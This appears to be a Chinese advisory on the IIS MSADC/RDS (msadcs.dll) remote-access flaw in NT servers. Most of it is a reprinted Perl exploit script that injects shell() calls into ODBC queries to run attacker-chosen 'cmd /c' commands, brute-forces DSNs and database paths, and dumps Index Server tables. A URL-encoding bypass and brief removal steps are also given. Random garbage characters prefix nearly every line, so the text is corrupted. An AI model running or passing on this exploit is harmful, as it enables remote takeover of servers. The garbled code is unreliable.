IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
b$rBxe\ .Ddl.9p5 涉及程序：
*zz/U
(9D Microsoft NT server
]r|.\}2Y7 .!)7x3| $[ 描述：
\f /<# ' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
6"&&s d{ OY 详细：
->8n.!F} 如果你没有时间读详细内容的话，就删除:
nqiy)ZN#R c:\Program Files\Common Files\System\Msadc\msadcs.dll
Y*w< ~ m 有关的安全问题就没有了。
^9 cqT2:t {Z-5 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
JhB {aW> M&Ycw XV:Z 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
q' _ 关于利用ODBC远程漏洞的描述，请参看:
|mMW"(~ tkNuM0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm wx<5*8zP LjxTRtB_ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
F\,3z7s http://www.microsoft.com/security/bulletins/MS99-025faq.asp Y`lC4 * g Z [68ji] 这里不再论述。
<;v{`@\j{ x6:$lZ( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
~POe 0!} #H7(d T /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
4I {|M,+ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Eq'{uV: g K#a C [ RsTpjY*Xb #将下面这段保存为txt文件，然后: "perl -x 文件名"
3 5|5|m a )I!l:!Ij*D #!perl
8MW|CM4Q #
p9l&K/ # MSADC/RDS 'usage' (aka exploit) script
\% ^<Ll #
g*Cs /w # by rain.forest.puppy
L6l~!bEc #
m#%5 H # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jZm1.{[> # beta test and find errors!
cC4*4bMm y6:=2(]w<p use Socket; use Getopt::Std;
`@Kh> K getopts("e:vd:h:XR", \%args);
{/#?n[" {H"gp?Z- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
IGv>0LOd@ V4V TP]'n if (!defined $args{h} && !defined $args{R}) {
d&R/f Im print qq~
I&>R]DV Usage: msadc.pl -h <host> { -d <delay> -X -v }
iW)FjDTP -h <host> = host you want to scan (ip or domain)
vcV=9q8P1 -d <seconds> = delay between calls, default 1 second
&?zJ|7rh@| -X = dump Index Server path table, if available
@iW I gL -v = verbose
p?Yovckm -e = external dictionary file for step 5
&Hh%pY" yDy3;*lE Or a -R will resume a command session
27,WP-qie 0 w @~ynW[ ~; exit;}
-*?a*q/#nQ yVh]hL#4+w $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
go{'mX) }u if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
m[Zz(tL if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+yCIA\i#t6 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
= @ph $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
m0 =CD if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=>S5}6 O- r"G if (!defined $args{R}){ $ret = &has_msadc;
L & PhABZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
LuQ=i`eXx /!7m@P|&D print "Please type the NT commandline you want to run (cmd /c assumed):\n"
nM}X1^PiK" . "cmd /c ";
#C !8a $in=<STDIN>; chomp $in;
{u9VHAXC f $command="cmd /c " . $in ;
V 3I&0P k O a-Z eCq if (defined $args{R}) {&load; exit;}
,F:l?dfB\I oVmGZhkA@' print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,Sz*]X &try_btcustmr;
/H!I90 q/%f2U%4: print "\nStep 2: Trying to make our own DSN...";
6S`eN\s &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
9^Wj< 8 wC3}U print "\nStep 3: Trying known DSNs...";
pN%L3?2 &known_dsn;
(Ptv#LSUX ,gkxZ{Eh print "\nStep 4: Trying known .mdbs...";
&x;v& &known_mdb;
<R]?8L0{h B8B^@
if (defined $args{e}){
(h `| |48d print "\nStep 5: Trying dictionary of DSN names...";
k[G? 22t &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Cww$ A %} _W?}%; print "Sorry Charley...maybe next time?\n";
ze,HN Fg@> exit;
,|T
^pZ(^ ##############################################################################
u-j Gv| ,| Y
Xn)? sub sendraw { # ripped and modded from whisker
i:{a-Bd sleep($delay); # it's a DoS on the server! At least on mine...
Y. Gr(]tk my ($pstr)=@_;
tr/S*0$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&?YQVwsN die("Socket problems\n");
-Ux/ Ug@ if(connect(S,pack "SnA4x8",2,80,$target)){
,{:5Z:<| select(S); $|=1;
Fwho.R-. print $pstr; my @in=<S>;
=b !f select(STDOUT); close(S);
5:56l>0 return @in;
# l:qht } else { die("Can't connect...\n"); }}
X g.\B1d r7w&p.? ##############################################################################
G 9}[g)R* / r}t sub make_header { # make the HTTP request
E!3W_:Bs my $msadc=<<EOT
xPsuDi8u POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
htMpL User-Agent: ACTIVEDATA
ogjm6; Host: $ip
H={fY:% Content-Length: $clen
rD<@$KpP Connection: Keep-Alive
gD&%$&q zy5@K) ADCClientVersion:01.06
e2/&X;2 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
h r t\ <qHwY. --!ADM!ROX!YOUR!WORLD!
s u![S T( Content-Type: application/x-varg
#sNa}292" Content-Length: $reqlen
i"|'p/9@q )t @OHSl EOT
w*Kw#m 'U ; $msadc=~s/\n/\r\n/g;
cWh Aj>?_Q return $msadc;}
4[bw/[ m6'YFpf)V ##############################################################################
T6AFwo,Q {WFYNEQ[ sub make_req { # make the RDS request
4*m\Zoq> my ($switch, $p1, $p2)=@_;
E})PNf; my $req=""; my $t1, $t2, $query, $dsn;
G^ n|9)CVW "o[\Aec: if ($switch==1){ # this is the btcustmr.mdb query
8+gSn $query="Select * from Customers where City=" . make_shell();
G ytI_an8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
> -k$:[l $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
#4d 0/28b ab3" ?.3m elsif ($switch==2){ # this is general make table query
}t"!I\C $query="create table AZZ (B int, C varchar(10))";
%{o5 }TqD $dsn="$p1";}
VW bgusxJ ) `;?%N\ elsif ($switch==3){ # this is general exploit table query
^R K[-tVV $query="select * from AZZ where C=" . make_shell();
"$
u"Py $dsn="$p1";}
nQ /(*d 5l{_E:.1 elsif ($switch==4){ # attempt to hork file info from index server
51&wH $query="select path from scope()";
8kO|t!?:U $dsn="Provider=MSIDXS;";}
b4,yLVi<T .Jou09+ elsif ($switch==5){ # bad query
\N/T^, $query="select";
=\oNu&Q^ $dsn="$p1";}
&/a/V V&\ZqgDF $t1= make_unicode($query);
EY> %#0 $t2= make_unicode($dsn);
c3K(mM: $req = "\x02\x00\x03\x00";
E%/E%9-7\ $req.= "\x08\x00" . pack ("S1", length($t1));
sowkxw.^Q $req.= "\x00\x00" . $t1 ;
iCz,|;w% $req.= "\x08\x00" . pack ("S1", length($t2));
))306*X\ $req.= "\x00\x00" . $t2 ;
&z% 7Nu $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
dL[mX .j" return $req;}
#?8'Z/1 ) ~#(bX]+A ##############################################################################
:5C9uW # (QqKttL: sub make_shell { # this makes the shell() statement
:) mV-(+o return "'|shell(\"$command\")|'";}
*-` /A 1/ j}VC ##############################################################################
2/(gf[elX -C.eXR{s sub make_unicode { # quick little function to convert to unicode
]6 }|X#_ my ($in)=@_; my $out;
F<G.!Y8!& for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
z[CCgs&vqe return $out;}
q j=12; UI hB ##############################################################################
//| 9J(B] >&Bg F*mm sub rdo_success { # checks for RDO return success (this is kludge)
\s+ <w3 my (@in) = @_; my $base=content_start(@in);
` YI pZ
rB if($in[$base]=~/multipart\/mixed/){
1.jW^sM return 1 if( $in[$base+10]=~/^\x09\x00/ );}
H:p(C?tk{ return 0;}
fa"eyBO50 E )>6}0P ##############################################################################
u9k##a4.E
5?6 ATP:[ sub make_dsn { # this makes a DSN for us
BA
L! 6 my @drives=("c","d","e","f");
W\FKA vS print "\nMaking DSN: ";
WS2TOAya) foreach $drive (@drives) {
g[:5@fI#* print "$drive: ";
a Se.]_ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
oX!s u "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$6ITa }o . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
}7Pd\t G] $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
( 3=. 3[ return 0 if $2 eq "404"; # not found/doesn't exist
[wI yW/+ if($2 eq "200") {
WYI? M foreach $line (@results) {
NoiU5 pP return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
1~ZDHfd5 } return 0;}
rpy`Wz/[ ,!bOzth2>K ##############################################################################
iTxn ;jI\MZ~l\ sub verify_exists {
jS| (g##4 my ($page)=@_;
`^|mNh my @results=sendraw("GET $page HTTP/1.0\n\n");
kA\;h|Y3 return $results[0];}
P' Rr5Xa N t g#-_] ##############################################################################
0^{zq|%Q! kD"dZ Qx sub try_btcustmr {
x$6-7<p my @drives=("c","d","e","f");
ITq+Hk
R my @dirs=("winnt","winnt35","winnt351","win","windows");
5M*q{kX) *)u_m h foreach $dir (@dirs) {
?CM,k0 print "$dir -> "; # fun status so you can see progress
u4fTC})4{C foreach $drive (@drives) {
a?Q~C<k print "$drive: "; # ditto
9 Q].cDe[ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)pJ}o&J $reqlenlen=length( "$reqlen" );
Og-M nx3 $clen= 206 + $reqlenlen + $reqlen;
uodO^ 5"- 1gH5#_ ? my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%3"3 OOT7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
V}@c5)(j else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
bCA3w%,kM p mHd1 Wub ##############################################################################
2yeq2v !YAkHrF`[0 sub odbc_error {
H${Ym BG my (@in)=@_; my $base;
0#<_:E my $base = content_start(@in);
EL~s90C if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
;
Sh |6 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f ~W.i] $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x7{,4js $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QR79^A@5 return $in[$base+4].$in[$base+5].$in[$base+6];}
$+*Zs Io print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$ #"}g#u print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
zz02F+H$Y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
KLA nW# | %6B#uy ##############################################################################
w&C SE =fG(K!AQ sub verbose {
:UFf6T? my ($in)=@_;
w_A-:S
5C return if !$verbose;
AGrGZ7p] print STDOUT "\n$in\n";}
lywcT! < 1\zI#"b ^ ##############################################################################
QF-.")Z 1mA )=hu sub save {
Ig$5Ui my ($p1, $p2, $p3, $p4)=@_;
5)&e2V',y open(OUT, ">rds.save") || print "Problem saving parameters...\n";
) @))3 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
?86h:9 close OUT;}
B g7?1m )Q7;)iPY# ##############################################################################
Hk3HzN 3 9chiu%20 sub load {
Q"Q|]f* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q@Q|oB0W$) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
unjo& @p=<IN>; close(IN);
;x+4jpH ]B $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
x2|DI)J1' $target= inet_aton($ip) || die("inet_aton problems");
r@s, cCK9? print "Resuming to $ip ...";
]l+2Ca:-[j $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ub.pJJlC if($p[1]==1) {
:!{a ey $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
H]@Zp"7 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
(m.]0v*&c my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1Rl`}7Km if (rdo_success(@results)){print "Success!\n";}
rKi)VVkx_ else { print "failed\n"; verbose(odbc_error(@results));}}
F(SeD)ml elsif ($p[1]==3){
Hjn Hl- if(run_query("$p[3]")){
mc9 $" print "Success!\n";} else { print "failed\n"; }}
3PBg3Y$ elsif ($p[1]==4){
j|+B| if(run_query($drvst . "$p[3]")){
H i.JL print "Success!\n"; } else { print "failed\n"; }}
9(u2jbA exit;}
w8> T ~Mv |L]d J< ##############################################################################
U0)(k }Q) RZ?>>Ll6 sub create_table {
bh+ R9~ my ($in)=@_;
G? jY>;P) $reqlen=length( make_req(2,$in,"") ) - 28;
Y]P
$|JW): $reqlenlen=length( "$reqlen" );
)%#hpP M^ $clen= 206 + $reqlenlen + $reqlen;
O7rm( my @results=sendraw(make_header() . make_req(2,$in,""));
i<%(Z[9Lk return 1 if rdo_success(@results);
n,xK7icYNQ my $temp= odbc_error(@results); verbose($temp);
p4aM`PW8>= return 1 if $temp=~/Table 'AZZ' already exists/;
v
SWqOv$ return 0;}
| mci-ZT qD` ')= ##############################################################################
lG jdDqi G. <9K9K sub known_dsn {
*sL'6"#Cre # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
[~jh Ov^ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
wBeOMA "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
X }p4yR7' "banner", "banners", "ads", "ADCDemo", "ADCTest");
P#Eqe O cl)MI,/> foreach $dSn (@dsns) {
Dw.>4bA. print ".";
BDB-OJ next if (!is_access("DSN=$dSn"));
r-[z!S
if(create_table("DSN=$dSn")){
IP{Cj= print "$dSn successful\n";
!q7M+j4 if(run_query("DSN=$dSn")){
@ ?e;Jp9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*23 print "Something's borked. Use verbose next time\n";}}} print "\n";}
$F/&/Aa [ >vS+G ##############################################################################
WpmypkJA# <v5toyA sub is_access {
v,>q]!
|a my ($in)=@_;
J ^t=.-a| $reqlen=length( make_req(5,$in,"") ) - 28;
8<_WtDg $reqlenlen=length( "$reqlen" );
` 5!7Il $clen= 206 + $reqlenlen + $reqlen;
=Oo*7|Z my @results=sendraw(make_header() . make_req(5,$in,""));
T-<^mX[} my $temp= odbc_error(@results);
tQwbIX-7/ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
~t#'X8.) return 0;}
?V7[,I1? yn %w' ##############################################################################
/>f`X+ d xR aYm sub run_query {
ShSh/0
my ($in)=@_;
o +aB[+ $reqlen=length( make_req(3,$in,"") ) - 28;
A:p0p^* $reqlenlen=length( "$reqlen" );
+;*])N%q $clen= 206 + $reqlenlen + $reqlen;
&/7GhZRt my @results=sendraw(make_header() . make_req(3,$in,""));
ly^F?.e- return 1 if rdo_success(@results);
Qh{=Z^r my $temp= odbc_error(@results); verbose($temp);
jj.yB#T return 0;}
6\E |` *nH ?o* # ##############################################################################
! Noabt H M76%9! sub known_mdb {
3$y ]#L my @drives=("c","d","e","f","g");
b LxV my @dirs=("winnt","winnt35","winnt351","win","windows");
* XNvb ^< my $dir, $drive, $mdb;
O %)+ w my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_$ , .NK,6 Kh5:+n_X # this is sparse, because I don't know of many
uF< F4m; my @sysmdbs=( "\\catroot\\icatalog.mdb",
_
-?)-L&g "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Ke\?;1 + "\\system32\\certmdb.mdb",
h,\_F# hi "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
A\: =p ^pg5o) M my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
j. m-6 "\\cfusion\\cfapps\\forums\\forums_.mdb",
KIuYWr7& "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
52:oe1-8 "\\cfusion\\cfapps\\security\\realm_.mdb",
TuX#;!p6 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
zlXkD~GV "\\cfusion\\database\\cfexamples.mdb",
p?d Ma_ g "\\cfusion\\database\\cfsnippets.mdb",
vKI, |UD&- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9 |OQHy "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
nkG 6. "\\cfusion\\brighttiger\\database\\cleam.mdb",
3S .rIai+ "\\cfusion\\database\\smpolicy.mdb",
H,\c" "\\cfusion\\database\cypress.mdb",
KK7Y"~ 9&- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
(-~tb- "\\website\\cgi-win\\dbsample.mdb",
fTH?t_e "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
6}| /~n "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
x9@ % L{* ); #these are just
( zTr/ foreach $drive (@drives) {
(M[Kh ^ foreach $dir (@dirs){
) d\S e9! foreach $mdb (@sysmdbs) {
N5~g:([k print ".";
x.4 5! 8Zb if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Oj<2_u print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
~ae68&L6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
!7}5"j
;A print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(hmas y6hM } else { print "Something's borked. Use verbose next time\n"; }}}}}
K=!J=R; wd1*wt foreach $drive (@drives) {
YDDw vk
H foreach $mdb (@mdbs) {
y0rT=k U print ".";
3` = "4 if(create_table($drv . $drive . $dir . $mdb)){
FUHa"$Bg print "\n" . $drive . $dir . $mdb . " successful\n";
EJL45R> if(run_query($drv . $drive . $dir . $mdb)){
Ij4\* D! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
nY(jN D } else { print "Something's borked. Use verbose next time\n"; }}}}
A
#ZaXu/:X }
XrBLw}lD`N PJb_QL!9 ##############################################################################
auS$B % 3>?ip; sub hork_idx {
b Z%[ON5OY print "\nAttempting to dump Index Server tables...\n";
#%+IU print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
EB>laZy > $reqlen=length( make_req(4,"","") ) - 28;
{!E<hQ2<$9 $reqlenlen=length( "$reqlen" );
dJCu`34Y'| $clen= 206 + $reqlenlen + $reqlen;
W+1V&a}E my @results=sendraw2(make_header() . make_req(4,"",""));
.F%!zaVIu if (rdo_success(@results)){
jixU9] my $max=@results; my $c; my %d;
E{lq@it32p for($c=19; $c<$max; $c++){
[0_Kz"| $results[$c]=~s/\x00//g;
s{A-K5S $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
+5^*c^C $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
'v\!} 6 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
zwAuF%U $d{"$1$2"}="";}
\'1%"JWK
foreach $c (keys %d){ print "$c\n"; }
(<1DPpy95O } else {print "Index server doesn't seem to be installed.\n"; }}
{J|P2a[ {feS-.Khv ##############################################################################
)w/f 'fq }eB\k,7L sub dsn_dict {
9lny[ {9 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
BPi>SI0 while(<IN>){
Zwq
u S9 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)\^%w9h next if (!is_access("DSN=$dSn"));
Jbs:}]2 if(create_table("DSN=$dSn")){
Bt.W_p print "$dSn successful\n";
l:faI&o.@ if(run_query("DSN=$dSn")){
@W^g(I(w print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]`u{ ^f
print "Something's borked. Use verbose next time\n";}}}
yv'mV=BMJ! print "\n"; close(IN);}
{\0 R[+d 21cIWvy ##############################################################################
FRfMtxvU ?g<*1N?: sub sendraw2 { # ripped and modded from whisker
s"a*S\a;b sleep($delay); # it's a DoS on the server! At least on mine...
x<= ;=893 my ($pstr)=@_;
((X"D/ F] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
oWJ}]ip die("Socket problems\n");
c&R . if(connect(S,pack "SnA4x8",2,80,$target)){
R~c(^.|r print "Connected. Getting data";
vTB*J,6. open(OUT,">raw.out"); my @in;
Ha 3XH_ select(S); $|=1; print $pstr;
gXf_~zxS while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
#X mN&83_ close(OUT); select(STDOUT); close(S); return @in;
4+ 4? 0R } else { die("Can't connect...\n"); }}
Y,)9{T Jg%sl& 65 ##############################################################################
mexI } /CZOO)n sub content_start { # this will take in the server headers
*|` ' L my (@in)=@_; my $c;
}1$8)zH for ($c=1;$c<500;$c++) {
s&fU|Jk8 if($in[$c] =~/^\x0d\x0a/){
Y ,}p if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
WMI/Y 9N else { return $c+1; }}}
K1eoZ8=! return -1;} # it should never get here actually
eueXklpg+ 6X X5 K @ ##############################################################################
tB1Qr** }f({ 03$ sub funky {
,fYO>l';`f my (@in)=@_; my $error=odbc_error(@in);
Mz"kaO if($error=~/ADO could not find the specified provider/){
[hFyu|I ! print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"=
% - exit;}
9xu&n%L= if($error=~/A Handler is required/){
w=f8UtY9@A print "\nServer has custom handler filters (they most likely are patched)\n";
tPp }/a%D exit;}
B 1p9pr if($error=~/specified Handler has denied Access/){
| _S9U| print "\nServer has custom handler filters (they most likely are patched)\n";
>>!+Ri\@ exit;}}
-> <_J4 cu""vtK ##############################################################################
B! -W765Y W``e6RX- sub has_msadc {
$MsM$]~ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9r)5d&,6 my $base=content_start(@results);
PH=wP ft return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
NuXU 2w~ return 0;}
kW(8i}bg }Rf }
iG ########################
jEI!t^# Y< M }'t S63L>p|ml 解决方案：
/Pf7= P 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
YE-kdzff 2、移除web 目录: /msadc
